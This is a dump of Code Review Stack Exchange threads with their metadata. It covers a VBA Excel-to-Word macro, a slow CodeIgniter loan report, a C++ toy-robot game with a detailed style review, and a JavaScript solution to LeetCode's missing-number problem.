datarange(iterator,0)\n dataC.Add datarange(iterator,1)\n End If\nNext iterator\n</code></pre>\n\n<p>Consider creating a user-defined Class (instead of a user-defined Type) which will hold the tri-data. Then you can <code>dataC.Add</code> each object into your collection which will remove the need for your <code>/2</code> calculations. With a common design, you can use the Class across all your macros.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T09:34:34.190",
"Id": "432074",
"Score": "0",
"body": "Thanks it helped a lot. Thanks to you it runs faster, better, stronger ;)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T12:16:52.873",
"Id": "432100",
"Score": "0",
"body": "one question how does it work <pre> <code> < For iterator = LBound(dataRange,1) to UBound(dataRange,1)</code> ? Owin that dataRange is a string ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T22:46:54.487",
"Id": "432179",
"Score": "0",
"body": "@RagingDeathWish: in this context, `dataRange` is an array, which I had implied but did not make clear before the example code (good pickup!). Answer edited to reflect this."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T22:58:16.443",
"Id": "222899",
"ParentId": "222853",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": "222899",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T08:57:47.560",
"Id": "222853",
"Score": "1",
"Tags": [
"performance",
"vba",
"excel",
"ms-word"
],
"Title": "Copy-Pasting (kind of) from Excel to an existing Word table"
} | 222853 |
<p><a href="https://i.stack.imgur.com/2bArP.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/2bArP.png" alt="enter image description here"></a>
I pass a function into the variable (<code>$monthly_receivable</code>) to get the value of each months to pass and get the result of a function.. but the process is dumb slow. This was the only January data but it can add a month range example January 2016 to December 2019.</p>
<p>When I try to remove that variable monthly_receivable it was smooth.</p>
<p>This is my code from server-side to view (client-side):</p>
<blockquote>
<p>Controller</p>
</blockquote>
<pre><code>public function notes_receivable_summary($start_date, $end_date) {
$loans_list = $this->db->query("SELECT
borr_name,
co_borrower,
released_date,
due_from,
due_to,
pn,
no_months,
loan_ref,
loan_id,
pn
FROM v_borrowers_nr dd
WHERE (df between '$start_date' AND '$end_date')
ORDER BY loan_ref")->result();
$months = $this->db->query("SELECT dd FROM v_months_nr WHERE dd between '$start_date' and '$end_date'")->result();
$data['monthly_receivable'] = function($date, $loan_ref, $loan_id){
$enc_url = explode('|', $this->Main_model->encdec($this->uri->segment(2), 'd'));
$s_date = $enc_url[1];
$e_date = $enc_url[2];
$sd = date('Y-m-d', strtotime('-1 months', strtotime($s_date)));
$ed = $e_date;
$q = $this->db->query("SELECT * FROM f_monthly_rcvble('$loan_ref', $loan_id, '$start_date', '$end_date', '$date')")->row();
return $q;
};
$this->load->view('pages/ajax/reports/sample_nr', $data);
}
</code></pre>
<blockquote>
<p>View</p>
</blockquote>
<pre><code><table id="displayTableNR" class="table displayTableNR js-sort-table">
<?php $month = array(1=>'Jan', 2=>'Feb', 3=>'Mar', 4=>'Apr', 5=>'May', 6=>'Jun', 7=>'Jul', 8=>'Aug', 9=>'Sep', 10=>'Oct', 11=>'Nov', 12=>'Dec'); ?>
<?php $total_as_of_h = 0; ?>
<?php $range_date = !empty($months) ? date('M Y', strtotime($months[0]->dd)) . ' - ' . date('M Y', strtotime($months[count($months) - 1]->dd)) : null; ?>
<thead>
<tr class="menu1">
<th class="table-head b-right" scope="col">Ref. No.</th>
<th class="table-head b-right js-sort-string fixed-side" scope="col">Name</th>
<th class="table-head b-right fixed-side" scope="col">Co-Borrower</th>
<th class="table-head b-right fixed-side" scope="col"><div class="wd-132px">Release Date</div></th>
<th class="table-head b-right js-sort-date fixed-side" scope="col">From</th>
<th class="table-head b-right js-sort-date fixed-side" scope="col">To</th>
<th class="table-head b-right fixed-side text-right" scope="col">PN</th>
<th class="table-head fixed-side" scope="col">Terms</th>
<?php $count = 0; ?>
<?php foreach ($months as $row): ?>
<?php $d = explode('-', $row->dd); ?>
<th class="table-head text-center font-strong <?php echo $count % 2 === 0 ? 'hexa-color-1' : 'hexa-color-2'; ?>" colspan="10"><?php echo strtoupper($month[(int) $d[1]]) . ' ' . $d[0]; ?></th>
<?php $count++; ?>
<?php $total_as_of_h++; ?>
<?php endforeach; ?>
<?php if ($total_as_of_h === count($months)): ?>
<th class="td-head text-center" colspan="3">COLLECTION ACTUAL/CLOSED OB/EFP</th>
<?php endif; ?>
</tr>
<tr class="menu2">
<th class="table-head b-right fixed-side"></th>
<th class="table-head b-right fixed-side"></th>
<th class="table-head b-right fixed-side"></th>
<th class="table-head b-right fixed-side"></th>
<th class="table-head b-right fixed-side"></th>
<th class="table-head b-right fixed-side"></th>
<th class="table-head b-right fixed-side"></th>
<th class="table-head fixed-side"></th>
<?php $count = 0; ?>
<?php foreach ($months as $row): ?>
<th class="table-head font-strong <?php echo $count % 2 === 0 ? 'hexa-color-1' : 'hexa-color-2'; ?>"><div class="wd-132px text-center">Current Target</div></th>
<th class="table-head font-strong amt_pd <?php echo $count % 2 === 0 ? 'hexa-color-1' : 'hexa-color-2'; ?>"><div class="wd-132px text-center">Actual Collection</div></th>
<th class="table-head font-strong <?php echo $count % 2 == 0 ? 'hexa-color-1' : 'hexa-color-2'; ?>"><div class="wd-132px text-center">UA/SP</div></th>
<th class="table-head font-strong <?php echo $count % 2 == 0 ? 'hexa-color-1' : 'hexa-color-2'; ?>"><div class="wd-132px text-center">Past Due Target UA/SP</div></th>
<th class="table-head font-strong <?php echo $count % 2 == 0 ? 'hexa-color-1' : 'hexa-color-2'; ?>"><div class="wd-132px text-center">Actual Collection UA/SP</div></th>
<th class="table-head font-strong <?php echo $count % 2 == 0 ? 'hexa-color-1' : 'hexa-color-2'; ?>"><div class="wd-132px text-center">Past Due Balance UA/SP</div></th>
<th class="table-head font-strong <?php echo $count % 2 == 0 ? 'hexa-color-1' : 'hexa-color-2'; ?>"><div class="wd-132px text-center">Advanced Payment</div></th>
<th class="table-head font-strong <?php echo $count % 2 == 0 ? 'hexa-color-1' : 'hexa-color-2'; ?>"><div class="wd-132px text-center">OB Closed</div></th>
<th class="table-head font-strong <?php echo $count % 2 == 0 ? 'hexa-color-1' : 'hexa-color-2'; ?>"><div class="wd-132px text-center">Early Full Payments</div></th>
<th class="table-head font-strong <?php echo $count % 2 == 0 ? 'hexa-color-1' : 'hexa-color-2'; ?>"><div class="wd-132px text-center">Adjustments</div></th>
<?php $count++; ?>
<?php endforeach; ?>
<?php if ($total_as_of_h === count($months)): ?>
<th class="table-head">TOTAL</th>
<th class="table-head"><div class="wd-118px text-center">(<?php echo $range_date; ?>)</div></th>
<th class="table-head">NR BAL</th>
<?php endif; ?>
</tr>
</thead>
<tbody>
<?php $totAmntToPay = 0; ?>
<?php $totCollection = 0; ?>
<?php $totBalance = 0; ?>
<?php foreach($loans_list as $r): ?>
<?php $name = explode('|', $r->borr_name); ?>
<tr class="">
<td class="td-border fixed-side"><?php echo $r->loan_ref; ?></td>
<?php if (count($name) < 3): ?>
<td class="td-border br-name-nr fixed-side"><div class="wd-210px"><?php echo strtoupper($name[0]) . ', ' . strtoupper($name[1]); ?></div></td>
<?php else: ?>
<td class="td-border br-name-nr fixed-side"><div class="wd-210px"><?php echo strtoupper($name[0]) . ', ' . strtoupper($name[1]) . ' ' . strtoupper($name[2]); ?></div></td>
<?php endif; ?>
<td class="td-border fixed-side"><div class="wd-145px"><?php echo strtoupper($r->co_borrower); ?></div></td>
<td class="td-border fixed-side"><?php echo date('Y-m-d', strtotime($r->released_date)); ?></td>
<td class="td-border fixed-side"><?php echo date('Y-m-d', strtotime($r->due_from)); ?></td>
<td class="td-border fixed-side"><?php echo date('Y-m-d', strtotime($r->due_to)); ?></td>
<td class="td-border text-right fixed-side"><?php echo number_format($r->pn, 2); ?></td>
<td class="td-border fixed-side"><?php echo number_format($r->no_months, 0); ?></td>
<!-- TOTALS VARIABLE -->
<?php $ct1 = 0; ?>
<?php $curr_or_prev_uasp = 0; ?>
<?php $tot_prev_uasp_balance = 0; ?>
<?php foreach($months as $row): ?>
<?php $lref = $r->loan_ref; ?>
<?php $lid = $r->loan_id; ?>
<?php $nr = $monthly_receivable($row->dd, $lref, $lid); ?>
<?php if (is_object($nr)): ?>
<td class="td-border text-right"><?php echo number_format($nr->amount_due, 2); ?></td>
<td class="td-border text-right"><?php echo number_format($nr->actual_collection, 2); ?></td>
<?php if ($ct1 == 0): ?>
<td class="td-border text-right"></td>
<?php else: ?>
<td class="td-border text-right"><?php echo number_format($nr->col_ua_sp, 2); ?></td>
<?php endif; ?>
<td class="td-border text-right"><?php echo number_format($nr->past_due_target_ua_sp, 2); //Past Due Target UA/SP ?></td>
<td class="td-border text-right"><a href="#" class="clrd-tooltip" data-toggle="tooltip" data-placement="right" title=""><?php echo number_format($nr->past_due_collection_tot_ua_sp, 2); ?></a></td>
<td class="td-border text-right"><?php echo number_format($nr->past_due_balance, 2); //Past Due Target Balance ?></td>
<td class="td-border text-right"><a href="#" class="clrd-tooltip" data-toggle="tooltip" data-placement="right" title=""><?php echo number_format($nr->advanced_payment, 2); ?></a></td>
<td class="td-border text-right"><?php echo number_format($nr->ob_closed, 2); ?></td>
<td class="td-border text-right"><?php echo number_format($nr->early_full_payments, 2); ?></td>
<td class="td-border text-right"><?php echo number_format($nr->adjustments, 2); ?></td>
<?php endif; ?>
<!-- TOTALS -->
<?php $ct1++; ?>
<?php endforeach; ?>
<td class="td-border text-right total-to-pay"><?php echo number_format($col_tot_pn, 2); ?></td>
<td class="td-border text-right total-coll"><?php echo number_format($col_tot_col, 2); ?></td>
<td class="td-border text-right total-bal"><?php echo number_format($col_tot_pn - $col_tot_col, 2); ?></td>
</tr>
</tbody>
<tfoot>
<tr>
<th class="table-head b-right fixed-side">Ref. No.</th>
<th class="table-head b-right fixed-side">Name</th>
<th class="table-head b-right fixed-side">Co-Borrower</th>
<th class="table-head b-right fixed-side">Release Date</th>
<th class="table-head b-right fixed-side">From</th>
<th class="table-head b-right fixed-side">To</th>
<th class="table-head b-right text-right fixed-side"><?php echo number_format($totPN, 2); ?></th>
<th class="table-head fixed-side">Terms</th>
<?php if ($total_as_of_h === count($months)): ?>
<td class="table-head text-right"><?php echo number_format($totAmntToPay, 2); ?></td>
<td class="table-head text-right"><?php echo number_format($totCollection, 2); ?></td>
<td class="table-head text-right"><?php echo number_format($totBalance, 2); ?></td>
<?php endif; ?>
</tr>
</tfoot>
</table>
</code></pre>
<p><a href="https://i.stack.imgur.com/BfN13.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BfN13.png" alt="enter image description here"></a></p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T09:26:43.140",
"Id": "431528",
"Score": "1",
"body": "Welcome to Code Review! If you look at the guidelines at [How to ask a good question?](https://codereview.stackexchange.com/help/how-to-ask), you will see that it's recommended to state what your code does not your main concerns about it in the title."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T11:41:54.080",
"Id": "431561",
"Score": "0",
"body": "How are the `$loans_list` and `$months` result sets magically arriving in the view?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T08:09:36.300",
"Id": "431687",
"Score": "0",
"body": "Sorry i forgot to input $data['months'] and $data['loans_list']"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T15:33:51.930",
"Id": "431769",
"Score": "0",
"body": "$month is for the month displaying on the top of each column data. Like Jan, Feb etc."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T22:30:47.303",
"Id": "431996",
"Score": "0",
"body": "Your view load is incorrect and makes your script \"broken\". Are there any other anomalies?"
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T09:16:06.193",
"Id": "222855",
"Score": "0",
"Tags": [
"php",
"postgresql",
"codeigniter"
],
"Title": "Is there any better approach on this rows to columns table?"
} | 222855 |
<p>I have a very basic "game" where a robot is placed on a small 5x5 board, and commands are given to it. To start, the robot must be placed on the board, then you may command it to move, or rotate left and right. I have tried to use object oriented concepts, but it was not a requirement for my task. I think I have done an okay job, and I would love to know what I have done incorrectly.</p>
<p>Here are a few "requirements" given to me:</p>
<ol>
<li>The "place" command takes an x, y position, and a direction or NORTH, EAST, SOUTH, or WEST.</li>
<li>No other commands may be run unless the robot has been placed</li>
<li>Move will move the robot forward by 1, in the direction it is
facing.</li>
<li>LEFT and RIGHT will rotate the robot in their respective directions</li>
<li>REPORT will print the current position, and facing direction of the
robot</li>
<li>Place is a valid command, even after it has already been placed</li>
<li>Inputs that will cause the robot to fall off the board are to be
rejected or ignored</li>
<li>Invalid or "junk" input is to be ignored</li>
<li>The robot will take commands as plaintext, the robot must take this
text and run respective instructions given that they are valid</li>
</ol>
<p>Example input/output:</p>
<pre><code>PLACE 1,3,WEST
MOVE
REPORT
Output: 0,3,WEST
</code></pre>
<p>and here is my robot.cpp</p>
<pre><code>#include "robot.h"
#include "tabletop.h"
#include "helpers.h"
namespace ToyRobot
{
//used as an interface to supply instructions as text, robot will perform
bool Robot::command(std::string instruction)
{
std::istringstream iss(instruction);
std::vector<std::string> tokens{ std::istream_iterator<std::string>{iss}, std::istream_iterator<std::string>{} };
if (this->commandList.count(tokens[0]) > 0) //is the first token, a valid command?
{
//command is valid
if (tokens[0] == "PLACE")
{ //check if there are valid arguments
if (tokens.size() < 2)
{
std::cout << "Error! Not enough arguments for 'PLACE'\n";
return false;
}
else
{
try
{
uint8_t arg1 = std::stoi(split(tokens[1], ",")[0]);
uint8_t arg2 = std::stoi(split(tokens[1], ",")[1]);
std::string arg3 = split(tokens[1], ",")[2];
this->place(arg1, arg2, arg3);
}
catch (...)
{
return false;
}
return true;
}
}
else if (tokens[0] == "MOVE")
{
this->move();
}
else if (tokens[0] == "LEFT" || tokens[0] == "RIGHT")
{
this->rotate(tokens[0]);
}
else if (tokens[0] == "REPORT")
{
this->printStatus();
}
return true;
}
else
return false;
}
//checks if a given position is valid (used only by other methods)
bool Robot::isValidPosition(uint8_t x, uint8_t y)
{
if (x < 0 || x > TABLETOP_MAX_X || y < 0 || y > TABLETOP_MAX_Y)
return false;
else
return true;
}
//places robot, ignores invalid positions
bool Robot::place(uint8_t x_place_pos, uint8_t y_place_pos, std::string facingDirection)
{
if (x_place_pos < 0 || x_place_pos > TABLETOP_MAX_X || y_place_pos < 0 || y_place_pos > TABLETOP_MAX_Y)
return false;
if (this->facingDirections.count(facingDirection) == 0) //check if given facing direction was valid
return false;
this->x_pos = x_place_pos;
this->y_pos = y_place_pos;
this->facingDirection = this->facingDirections[facingDirection];
this->placed = true;
return true;
}
//moves robot forward by one, ignored invalid movements
bool Robot::move()
{
if (this->placed)
{
uint8_t sim_x = this->x_pos;
uint8_t sim_y = this->y_pos;
//simulate movement
if (facingDirection == 0)
sim_y += 1;
else if (facingDirection == 1)
sim_x += 1;
else if (facingDirection == 2)
sim_y -= 1;
else if (facingDirection == 3)
sim_x -= 1;
if (isValidPosition(sim_x, sim_y))//if it was valid, set and return true
{
this->x_pos = sim_x;
this->y_pos = sim_y;
return true;
}
else //invalid move (would be out of bounds)
return false;
}
else //not placed
return false;
}
//rotates robot given a direction string
bool Robot::rotate(std::string direction)
{
if (this->placed)
{
uint8_t sim_direction = this->facingDirection;
if (direction == "LEFT")
sim_direction = (sim_direction + 3) % 4; //rotate left
else if (direction == "RIGHT")
sim_direction = (sim_direction + 1) % 4; //rotate right
else
return false; //invalid input
this->facingDirection = sim_direction;
return true;
}
else //not placed
return false;
}
void Robot::printStatus()
{
if (this->placed)
std::cout << int(this->x_pos) << ',' << int(this->y_pos) << ',' << (this->reversedDirections[this->facingDirection]) << "\n";
else
std::cout << "Robot is not yet placed on the tabletop!\n";
}
}
</code></pre>
<p>robot.h</p>
<pre><code>#pragma once
#include "stdafx.h"
namespace ToyRobot
{
class Robot
{
private:
bool placed = false;
uint8_t x_pos = NULL;
uint8_t y_pos = NULL;
uint8_t facingDirection = NULL;
const std::unordered_set<std::string> commandList = { "PLACE","MOVE","LEFT","RIGHT","REPORT" };
std::unordered_map <std::string, int> facingDirections
= { {"NORTH", 0}, {"EAST", 1},
{"SOUTH", 2}, {"WEST", 3} };
std::unordered_map <int, std::string> reversedDirections
= { {0, "NORTH"}, {1, "EAST"},
{2, "SOUTH"}, {3, "WEST"} };
bool isValidPosition(uint8_t, uint8_t);
public:
Robot() //constructor
{
}
bool command(std::string);
bool place(uint8_t, uint8_t, std::string);
bool move();
bool rotate(std::string);
void printStatus();
};
}
</code></pre>
<p>helpers.cpp</p>
<pre><code>#include "stdafx.h"
#include "helpers.h"
//python's "split" function, implemented in C++. returns a vector of split std::strings by a specified delimiter
std::vector<std::string> split(const std::string& in, const std::string& delim)
{
using std::string;
using std::vector;
string::size_type start = in.find_first_not_of(delim), end = 0;
vector<string> out;
while (start != in.npos)
{
end = in.find_first_of(delim, start);
if (end == in.npos)
{
out.push_back(in.substr(start));
break;
}
else
{
out.push_back(in.substr(start, end - start));
}
start = in.find_first_not_of(delim, end);
}
return out;
}
</code></pre>
<p>helpers.h</p>
<pre><code>#pragma once
#include "stdafx.h"
std::vector<std::string> split(const std::string& in, const std::string& delim);
</code></pre>
<p>tabletop.h (there is no tabletop.cpp, as there is no need for it)</p>
<pre><code>#pragma once
#include "stdafx.h"
constexpr auto TABLETOP_MAX_X = 4;
constexpr auto TABLETOP_MAX_Y = 4;
//0,0 is south west corner https://i.imgur.com/pm2XVHx.png
//Tabletop is never used, but it is here if required
class Tabletop
{
private:
const uint8_t x_len = TABLETOP_MAX_X;
const uint8_t y_len = TABLETOP_MAX_Y;
public:
};
</code></pre>
<p>and finally my stdafx.h</p>
<pre><code>#pragma once
#include <iostream>
#include <string>
#include <unordered_map>
#include <unordered_set>
#include <sstream>
#include <algorithm>
#include <iterator>
</code></pre>
<p>My robot header and implementation is in a namespace, as it is to be compiled into a library.</p>
<p>How is my project structure? Thanks</p>
| [] | [
{
"body": "<p>I see a number of things that may help you improve your program.</p>\n\n<h2>Use the required <code>#include</code>s</h2>\n\n<p>The code uses <code>std::vector</code> and <code>std::string</code> which means that it should <code>#include <vector></code> and <code><string></code>. It was not difficult to infer, but it helps reviewers if the code is complete.</p>\n\n<h2>Use <code>0</code> instead of <code>NULL</code> for values that are not pointers</h2>\n\n<p>The value <code>0</code> is a numeric quantity zero, but the value <code>NULL</code> is an <a href=\"http://en.cppreference.com/w/c/types/NULL\" rel=\"nofollow noreferrer\">implementation-defined null-pointer constant</a>. It is <em>not</em> guaranteed to have the value 0. For that reason, non-pointer values should be initialized to 0 and not <code>NULL</code>.</p>\n\n<h2>Think carefully about signed vs. unsigned</h2>\n\n<p>The code currently contains this function:</p>\n\n<pre><code>bool Robot::isValidPosition(uint8_t x, uint8_t y)\n{\n if (x < 0 || x > TABLETOP_MAX_X || y < 0 || y > TABLETOP_MAX_Y)\n return false;\n else\n return true;\n}\n</code></pre>\n\n<p>If <code>x</code> is an unsigned quantity, it will not be possible that <code>x < 0</code>. For that reason, the statement can be shortened to this: </p>\n\n<pre><code>if (x > TABLETOP_MAX_X || y > TABLETOP_MAX_Y)\n</code></pre>\n\n<p>However, there's really no need for an explicit <code>if</code> statement here. Instead, just return the appropriate boolean value:</p>\n\n<pre><code>return x <= TABLETOP_MAX_X && y <= TABLETOP_MAX_Y;\n</code></pre>\n\n<h2>Don't write <code>this-></code></h2>\n\n<p>Within member functions <code>this->data</code> is redundant. It add visual clutter and does not usually aid in understanding. So for example, we have the existing <code>place</code> function:</p>\n\n<pre><code>bool Robot::place(uint8_t x_place_pos, uint8_t y_place_pos, std::string facingDirection)\n{\n if (x_place_pos < 0 || x_place_pos > TABLETOP_MAX_X || y_place_pos < 0 || y_place_pos > TABLETOP_MAX_Y)\n return false;\n\n if (this->facingDirections.count(facingDirection) == 0) //check if given facing direction was valid\n return false;\n\n this->x_pos = x_place_pos;\n this->y_pos = y_place_pos;\n\n this->facingDirection = this->facingDirections[facingDirection];\n\n this->placed = true;\n return true;\n</code></pre>\n\n<p>}</p>\n\n<p>I'd write it like this instead:</p>\n\n<pre><code>bool Robot::place(uint8_t x_place_pos, uint8_t y_place_pos, std::string dir)\n{\n if (isValidPosition(x_place_pos, y_place_pos) && facingDirections.count(dir)) {\n x_pos = x_place_pos;\n y_pos = y_place_pos;\n facingDirection = facingDirections[dir];\n placed = true;\n } else {\n placed = false;\n }\n return placed;\n}\n</code></pre>\n\n<p>Note that I've used the previously mentioned <code>isValidPosition()</code> function and also explicitly set member variable <code>placed</code> to <code>false</code> if the <code>PLACE</code> command has failed. This is different behavior from the original code, so you'll have to decide which you like better.</p>\n\n<h2>Use <code>const</code> where practical</h2>\n\n<p>The <code>printStatus</code> and member function of <code>Robot</code> does not alter the underlying object and therefore should be declared <code>const</code>. This will require also changing from <code>reversedDirections[facingDirection]</code> to <code>reversedDirections.at(facingDirection)</code>.</p>\n\n<h2>Sanitize user input better</h2>\n\n<p>The code does not really do a very good job sanitizing user input. For example, if the user enters the command \"PLACE 2, 3, WEST\", the program crashes because it expects that there will be no spaces except after the word \"PLACE\". That's not very robust.</p>\n\n<h2>Think of the user</h2>\n\n<p>When the user enters a command such as \"PLACE 2,3\" omitting the direction, the program just says \"Error! Not enough arguments for 'PLACE'\" which is technically true, but not very informative to the user. The message could, for example, show a valid sample command instead.</p>\n\n<h2>Don't use exceptions for non-exceptional events</h2>\n\n<p>Exceptions are for exceptional events and should be used <a href=\"https://github.com/isocpp/CppCoreGuidelines/blob/master/CppCoreGuidelines.md#Re-errors\" rel=\"nofollow noreferrer\">for error handling only</a>. Having the user input incorrect command arguments is not exceptional and should be handled as part of the normal program flow and not with an exception.</p>\n\n<h2>Reconsider the class design</h2>\n\n<p>The <code>Robot</code> class has multiple <code>unordered_map</code> structures to deal with compass directions. First, if they exist at all, they should probably be <code>static const</code> since all <code>Robot</code> instances would use the same directions. An alternative would be to have a <code>Direction</code> class that would handle the translations to and from text to <code>uint8_t</code>.</p>\n\n<h2>Don't write an empty constructor</h2>\n\n<p>The <code>Robot</code> class uses in-class initializers which is <a href=\"https://github.com/isocpp/CppCoreGuidelines/blob/master/CppCoreGuidelines.md#Rc-in-class-initializer\" rel=\"nofollow noreferrer\">good practice</a>, but that means that the default constructor will be automatically generated, so you could either omit it entirely (which I'd prefer) or write <code>Robot() = default;</code> if you want to make it even more explicitly clear.</p>\n\n<h2>Pass const string reference</h2>\n\n<p>The third argument to <code>place</code> ought to pass the string by reference to avoid creation of a temporary and can be <code>const</code>. This is shown in the following suggestion.</p>\n\n<h2>Name parameters in function prototypes</h2>\n\n<p>The function prototype for <code>place</code> currently looks like this:</p>\n\n<pre><code>bool place(uint8_t, uint8_t, std::string);\n</code></pre>\n\n<p>However, it would be better to name the parameters so that it would give a reader of the code a better idea of how to use the function. I'd change it to this:</p>\n\n<pre><code>bool place(uint8_t x, uint8_t y, const std::string& dir);\n</code></pre>\n\n<h2>Check return values</h2>\n\n<p>The <code>place()</code>, <code>move()</code>, etc. commands all return a <code>bool</code> to indicate success, but the program never uses those values. I'd suggest using the return value to give the human controlling the <code>Robot</code> some feedback about what it is or is not doing.</p>\n\n<h2>Eliminate \"magic values\"</h2>\n\n<p>The values of <code>WEST</code>, <code>NORTH</code>, <code>RIGHT</code> etc. are sprinkled through the code, but they really ought to be named constants instead, and specifically a named constant static member. If you have a C++17 compliant compiler, <a href=\"https://en.cppreference.com/w/cpp/string/basic_string_view\" rel=\"nofollow noreferrer\">std::string_view</a> would be just the thing to use for these.</p>\n\n<h2>Use include guards</h2>\n\n<p>While many compilers support the use of <code>#pragma once</code> it is not standard and therefore not portable. Use an include guard instead. See <a href=\"https://github.com/isocpp/CppCoreGuidelines/blob/master/CppCoreGuidelines.md#sf8-use-include-guards-for-all-h-files\" rel=\"nofollow noreferrer\">SF.8</a>.</p>\n\n<h2>Make header files self-contained</h2>\n\n<p>The <code>helpers.h</code> file contains <code>stdafx.h</code> but that's not very easily maintained because if the contents of <code>stdafx.h</code> are changed, it implicitly changes the effect of this file as well. Instead, you could be explicit about what's actually needed for the interface. I would write that file like this:</p>\n\n<pre><code>#ifndef SPLIT_H\n#define SPLIT_H\n#include <vector>\n#include <string>\n\nstd::vector<std::string> split(const std::string& in, const std::string& delim);\n#endif // SPLIT_H\n</code></pre>\n\n<p>I would also name it <code>split.h</code> to be much more suggestive as to the contents. See <a href=\"https://github.com/isocpp/CppCoreGuidelines/blob/master/CppCoreGuidelines.md#sf11-header-files-should-be-self-contained\" rel=\"nofollow noreferrer\">SF.11</a>.</p>\n\n<h2>Eliminate unused class</h2>\n\n<p>Because, as you correctly note, the <code>Tabletop</code> class is not used, it should be removed from the project.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:10:59.897",
"Id": "431599",
"Score": "0",
"body": "Thank you so much for your review, but what do you mean \"The values of 10000 and 9999 are sprinkled through the code\", I don't think I have them anywhere."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:14:03.320",
"Id": "431600",
"Score": "0",
"body": "Oops! That was a cut-and-paste error from another review. I've fixed it now."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:49:53.247",
"Id": "431617",
"Score": "0",
"body": "Is there a data structure in C++ that I can merge these two into one? Like I wish to access both by the \"key\" and get the other respective value https://cdn.discordapp.com/attachments/448454862880112651/592758227041779723/devenv_2019-06-25_00-49-33.png"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:58:38.747",
"Id": "431618",
"Score": "0",
"body": "Since there are only four data points, I'd put them into a [`std::array`] hidden inside a `Direction` class, private within the `Robot` class. Going from number to string is just an array access. Going the other direction could simply use a linear search."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T18:03:36.063",
"Id": "431634",
"Score": "0",
"body": "You forgot to mention that `#include \"stdafx.h\"` should not be in a .h file, since it is used to precompile headers, but should be in all the .cpp files."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T18:06:15.820",
"Id": "431635",
"Score": "0",
"body": "Actually, if it were my code, there would be no `\"stdafx.h\"` file. Precompiling headers was originally intended to speed up compilation back when computers were slower and compilers were dumber. For a tiny project like this, it's a mis-feature that is trying to solve a problem that probably doesn't exist (i.e. slow compile times)."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T14:33:23.817",
"Id": "222870",
"ParentId": "222864",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T11:48:59.263",
"Id": "222864",
"Score": "3",
"Tags": [
"c++",
"game"
],
"Title": "Robot game in C++"
} | 222864 |
<p><strong>The task</strong> is taken from <a href="https://leetcode.com/problems/missing-number/" rel="nofollow noreferrer">LeetCode</a></p>
<blockquote>
<p>Given an array containing n distinct numbers taken from <code>0, 1, 2, ...,
n</code>, find the one that is missing from the array.</p>
<p><strong>Example 1:</strong></p>
<pre><code>Input: [3,0,1]
Output: 2
</code></pre>
<p><strong>Example 2:</strong></p>
<pre><code>Input: [9,6,4,2,3,5,7,0,1]
Output: 8
</code></pre>
<p><strong>Note:</strong></p>
<p>Your algorithm should run in linear runtime complexity. Could you
implement it using only constant extra space complexity?</p>
</blockquote>
<p><strong>My approach</strong> is to subtract the sum from 0-n and the sum of the elements in the array. For the sum of the number from <code>0</code> to <code>n</code> I use the <em>Gauss</em> forumula: <code>(n * (n + 1)) / 2</code>. For the sum in the array I will have to iterate through the whole array and sum up the elements.</p>
<p><strong>My solution</strong> has time complexity of <span class="math-container">\$O(n)\$</span> and space complexity of <span class="math-container">\$O(1)\$</span>. </p>
<pre><code>/**
* @param {number[]} nums
* @return {number}
*/
var missingNumber = function(nums) {
if (nums.length === 0) return -1;
const sumOfNums = nums.reduce((ac, x) => ac + x);
const sumTillN = (nums.length * (nums.length + 1)) / 2;
return sumTillN - sumOfNums;
};
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:08:11.900",
"Id": "431595",
"Score": "0",
"body": "This question is being discussed here: https://meta.stackexchange.com/q/329996"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T18:48:41.390",
"Id": "431636",
"Score": "0",
"body": "The discussion, mentioned above, was removed because it was deemed off-topic. It's an legal issue, not suited for discussion on Meta (or anywhere?). I made the point that LeetCode's terms say: \"You agree not to copy or publish our content.\", which makes sense. In general material on the web is copyrighted, unless explicitly stated otherwise. However, one could argue that this is a case of \"fair use\" because there's only the intent to discuss the problem and not to _pirate_ it."
}
] | [
{
"body": "<p>I don't think there is a better than <span class=\"math-container\">\\$O(n)\\$</span> and <span class=\"math-container\">\\$O(1)\\$</span> to this problem. </p>\n\n<p>However you can simplify the code a little (trivial) by subtracting from the expected total.</p>\n\n<pre><code>const findVal = nums => vals.reduce((t, v) => t - v, nums.length * (nums.length + 1) / 2);\n</code></pre>\n\n<p>Or</p>\n\n<pre><code>function findVal(nums) {\n var total = nums.length * (nums.length + 1) / 2;\n for (const v of nums) { total -= v }\n return total;\n}\n</code></pre>\n\n<p>BTW</p>\n\n<p>The extra brackets are not needed when calculate the total</p>\n\n<pre><code>(x * (x + 1)) / 2 === x * (x + 1) / 2\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
